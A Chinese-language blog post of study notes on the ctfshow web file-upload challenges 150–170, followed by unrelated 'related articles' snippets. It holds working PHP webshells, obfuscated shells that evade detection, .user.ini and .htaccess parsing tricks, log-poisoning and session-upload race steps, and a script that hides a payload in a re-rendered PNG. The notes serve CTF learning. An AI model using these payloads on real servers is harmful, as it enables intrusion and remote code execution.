ctfshow_web入门 文件上传
文件上传
还是是一边学习一边做笔记的文章,由于是学习,所以会显得啰嗦
还请各位师傅担待~
如果有不正确的地方,请师傅们斧正谢谢师傅们
web150
火狐关闭js的插件一旦开启,就没法点击上传按钮了。
而且这里没法上传.php .jpg
等后缀文件,只能选择png
格式图片。所以只能以够抓包然后修改内容的方式上传图片马。
同时,一旦图片格式满足,就自动上传了。
打开burp开启,然后上传一张png格式图片,在burp抓的包中添加一句话木马<?php eval($_POST['cmd']);?>
,修改图片后缀为.php
上传
访问对应网页即可
web151
同web150
web152
首先尝试上传php
后缀文件,发现不行。所以上传.user.ini
配置文件,因为是nginx
系统,所以配置文件是.user.ini
,.htaccess和.user.ini配置文件妙用
同样,上传png文件,burp抓包修改文件信息(将信息传入repeater之后可以反复修改,反复提交),文件名修改为.user.ini
,内容添加auto_prepend_file=meima.png
。再上传一个名为meima.png
的图片马即可
最后访问/url/upload/index.php
,用cmd=system('tac /var/www/html/f*');
输入命令获取flag就好
web 154
同样,先上传.user.ini
,内容auto_prepend_file=meima.png
,接着上传名为meima.png
的图片马。
就可以利用上一关的repeater中的数据包,将host给修改一下就可以。
.user.ini
auto_prepend_file=meima.png
同时,图片马:
meima.png
<?= eval($_POST['cmd']);?>
同样,在火狐中,将host给修改一下,继续执行即可,命令都不需要改
web 155
嫖web154,操作完全一致
web 156
为啥我上传没有马的png也不行呢?哦,原来是文件内容太长了。
整一个短一点的马儿或者是将抓到的包的信息给改少一点。
过滤了[],用{}
进行绕过
因为之前上传过一次
<? `tac /var/www/html/f*`;?> 也可能是没有加echo,这个有点不太清楚
但是显示结果却是:no thing here ,所以这里打算复盘一下,用webshell,写一个php文件进去测试;最后用蚁剑连接之后发现,创建了文件,但是文件中没有内容
最后可以直接用蚁剑写入文件,
所以说,在``之前是需要加上echo 的;
``相当于是shell_exec()函数
同样,也可以直接从burp中修改命令,然后反复上传以达到目的,原来的文件会被替换掉
web 157
额,看样子貌似是过滤了;
,可以上传拿到flag
<? echo `tac /var/www/html/f*`?>
PHP最后一句可以不用加;
,貌似只是针对这种逻辑简单的可以不加,一些逻辑比较复杂的代码最后还是是需要加的
web 158
用157的方法,直接拿下
web 159
貌似过滤了system
或者()
用157的方法,直接拿下
web 160
这个题过滤了空格 ()
额,还记得文件包含的web82不,那个上传session文件的解题方式,这题也用那个方式
一共要准备四个包;
一个上传.user.ini
文件上传包,一个1.png
文件上传包;一个url/upload/index.php
反复请求包,一个session
反复上传包;
接着条件竞争,
一个burp一直请求/url/upload/index.php
另一边,一直上传文件
访问/url/test1.php,如果有页面就成功,没有就失败,重来一次就行
拿到flag
Firebasky师傅的wp中提到,auto_prepend_file的配置相当于文件包含。
web 161
有文件头的一个判断,选择GIF89a
的文件头,比较方便记忆与绕过
顺带看一下,图片有没有被修改,发现,(我们的图安然无恙!)
在文件头前面加上GIF89a
,然后就可以白嫖web160的方法了
方法二:日志包含
在user-agent中加入一句话木马,然后在图片中加入引入日志文件的代码
在配置文件.user.ini
中,将auto_prepend_file设置为:1.png
接着访问url/upload/index.php,那么就会执行1.png的代码,由于1.png引入日志文件,那么日志文件中的一句话木马就会被执行
突然想问一句,既然auto_prepend_file能进行文件包含,那么是不是可以直接从auto_prepend_file入手日志文件呢?不行
web 162
过滤了.
,但是发现,可以直接上传,可以白嫖上面的方法,上传文件1的时候,文件内容一定要少
web 163
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
所以所以这里就卡了很久,但是依旧没有上传请求成功
web 164(png图片二次渲染)
这个题怎么说呢,没有发现有一个download.php文件,所以也就不知道怎么去做。
所以我这里也就直接照搬做出来的大佬的笔记了
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); #保存在本地的图片马
?>
上传图片成功之后,访问url/download.php?iamge=xxxx&0=system post传入:1=cat flag.php
就可以得到flag
web 165
jpg图片渲染用164脚本依旧可行,只是我这里一直上传不了
web 166
上传zip文件,在zip文件中写入一句话,通过download.php进行下载,然后rce
由于下载时是GET方式,所以之类马儿里也用的get方式
这里注意到download.php,就顺带看了一下,因为最之前不知道如何通过download.php进行文件包含的,哦~原来里面有一个include($file)
web 167
看到httpd,想到是不是Apache。于是F12通过network查看,
上传.htaccess
,这题需要上传jpg格式的马儿,同时写入
AddType application/x-httpd-php .jpg
?为什么我开的题目环境一直出问题???
不过按理来说,访问/url/upload/1.jpg即可;
原来是配置文件解析错误,上传的配置文件中,只写一句和解析有关的就够了,多余的删除,否则会有500的错误
大佬的wp
web 168
可以直接上传.php
文件
查看flag,反引号是shell_exec()函数的简写;需要用echo来进行输出
看了羽师傅博客,又l了解到了很多:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
web 169
直接将<过滤了,所以也没有办法执行PHP代码,于是这题考虑日志包含
同时,上传时,需要burp抓包上传,上传zip
文件,并且将file_content修改为image/png
才能成功上传
在user-agent中写入一句话木马,<?php eval($_POST['cmd']);?>
上传一个.user.ini文件,auto_prepend_file=/var/log/nginx/access.log
上传一个1.php文件,内容随便写123
,因为url/upload/
目录下没有文件,所以需要写一个文件来承接.user.ini
接着就可以访问/url/upload/1.php
,然后rce
也可以用蚁剑连接,方便找flag。
web 170
同上
解题
上传配置文件,然后传马
马儿内容
短标签马儿:
一般的马儿:
<?php eval($_POST['cmd']);?>
没有PHP的马儿
<?= eval($_POST['cmd']);?>
<? eval($_POST['cmd']);?>
<% eval($_POST['cmd']);%>
有PHP的马儿
<script language="php"></script>
特殊马儿:
过滤[]:用{}代替
<?= eval($_POST['cmd']);?>
直接拿flag的变形马儿
<? echo `tac /var/www/html/f*`;?>
<? echo `tac /var/www/html/f*`?>
免杀马儿:
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
上传配置文件,上传sessionid的马儿
.user.ini
文件中写入auto_prepend_file=1.png
1.png
中写入<?include"/tmp/sess_test"?>
,此处sess_test中的test是PHPSESSIDd的值
uplaod_session.php
<html>
<body>
<form action="http://fece0c1e-a60a-49b8-afde-a015f784c864.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php file_put_contents('/var/www/html/test1.php','<?php eval($_POST[1]);?>')?>">
<input type="file" name="file">
<input type="submit" value="submit">
</form>
</body>
</html>
此处代码,抓包后在cookie位置添加:PHPSESSID=test
格式
GIF89a
注意:
发现一个以前没有注意过的点:
如果是用数字来作为post数组的键时,不能够用引号括起来,不然利用session写入木马时会无法写入
谢谢师傅们观看~
ctfshow_web入门 文件上传的更多相关文章
- JSP入门 文件上传
commons-fileupload public void save(HttpServletRequest request,HttpServletResponse response) throws ...
- Spring Boot入门——文件上传与下载
1.在pom.xml文件中添加依赖 <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="ht ...
- Flask入门文件上传flask-uploads(八)
1 视图传递多个参数 (1) 普通传参 : 关键字参数传递 return render_template('模板名称.html',arg1=val1,arg2=val2...) (2) 字典传参 : ...
- SpringBoot 文件上传、下载、设置大小
本文使用SpringBoot的版本为2.0.3.RELEASE 1.上传单个文件 ①html对应的提交表单 <form action="uploadFile" method= ...
- springboot文件上传下载,转载的
Spring Boot入门——文件上传与下载 原文来自:https://www.cnblogs.com/studyDetail/articles/7003253.html 1.在pom.xml文件中添 ...
- [转]ExtJs入门之filefield:文件上传的配置+结合Ajax完美实现文件上传的asp.net示例
原文地址:http://www.stepday.com/topic/?459 作文一个ExtJs的入门汉子,学习起来的确是比较费劲的事情,不过如今在这样一个网络资源如此丰富的时代,依然不是那么难了的. ...
- 文件上传利器SWFUpload入门简易教程
凡做过网站开发的都应该知道表单file的确鸡肋. Ajax解决了不刷新页面提交表单,但是却没有解决文件上传不刷新页面,当然也有其它技术让不刷新页面而提交文件,该技术主要是利用隐藏的iFrame, 较A ...
- Web---演示Servlet的相关类、表单多参数接收、文件上传简单入门
说明: Servlet的其他相关类: ServletConfig – 代表Servlet的初始化配置参数. ServletContext – 代表整个Web项目. ServletRequest – 代 ...
- SpringBoot入门一:基础知识(环境搭建、注解说明、创建对象方法、注入方式、集成jsp/Thymeleaf、logback日志、全局热部署、文件上传/下载、拦截器、自动配置原理等)
SpringBoot设计目的是用来简化Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义样板化的配置.通过这种方式,SpringBoot致力于在蓬勃发 ...
- Struts2入门(七)——Struts2的文件上传和下载
一.前言 在之前的随笔之中,我们已经了解Java通过上传组件来实现上传和下载,这次我们来了解Struts2的上传和下载. 注意:文件上传时,我们需要将表单提交方式设置为"POST" ...
随机推荐
- CSS伪类使用详解
基本描述 CSS伪类是很常用的功能,主要应用于选择器的关键字,用来改变被选择元素的特殊状态下的样式. 伪类类似于普通CSS类的用法,是对CSS选择器的一种扩展,增强选择器的功能. 目前可用的伪类有大概 ...
- Nginx 安装篇-yum安装
yum安装教程引用: https://www.cnblogs.com/AprilBlank/p/11388990.html#1-yum安装推荐 避坑事项: 暂无
- C++编程笔记(多线程学习)
目录 一.线程创建 二.线程的相关操作 2.1 join 2.2 detach 2.3 joinable 三.线程参数 3.1传参所引发的资源回收问题 3.2 将对象的成员函数作为入口函数 四.线程的 ...
- Excel二维码图片生成器
Excel二维码图片生成器 它可以将excel文件的数据,每行数据生成一张二维码图片,并保存到电脑.软件无需安装,解压后即可直接使用,无需联网,操作简便快捷. 软件下载地址:点此下载 步骤1:导入事先 ...
- Nmap安装
Nmap(Network Mapper,网络映射器)是一款开放源代码的网络探测和安全审核工具.它被设计用来快速扫描大型网络,包括主机探测与发现.开放的端口情况.操作系统与应用服务指纹识别.WAF识别及 ...
- 几种数据库jar包获取方式
摘要:以下提供的都是各个数据库较为官方的jar包获取方式. 本文分享自华为云社区<JDBC连接相关jar包获取及上传管理中心白名单处理>,作者:HuaWei XYe. jar包获取 以下提 ...
- java中的自增运算
本文主要阐明java中的自增运算 1.当i ++ 与 ++ i作为单独语句时,作用与i = i +1一样 2.当赋值时,结果就不一样了 temp = i ++: 操作顺序:1)temp = i: 2) ...
- (4)go-micro微服务proto开发
目录 一 Protobuf介绍 二 安装Protobuf 三 Protobuf语法 1.1 基本规范 1.2 字段规则 1.3 service如何定义 1.4 Message如何定义 四 proto代 ...
- 原生js实现rsa加密
原生js实现rsa加密 示例 createNewUserKey().then(function(keyPairs) { encrypt("this is origin text", ...
- Linux 驱动像单片机一样读取一帧dmx512串口数据
硬件全志R528 目标:实现Linux 读取一帧dmx512串口数据. 问题分析:因为串口数据量太大,帧与帧之间的间隔太小.通过Linux自带的读取函数方法无法获取到 帧头和帧尾,读取到的数据都是缓存 ...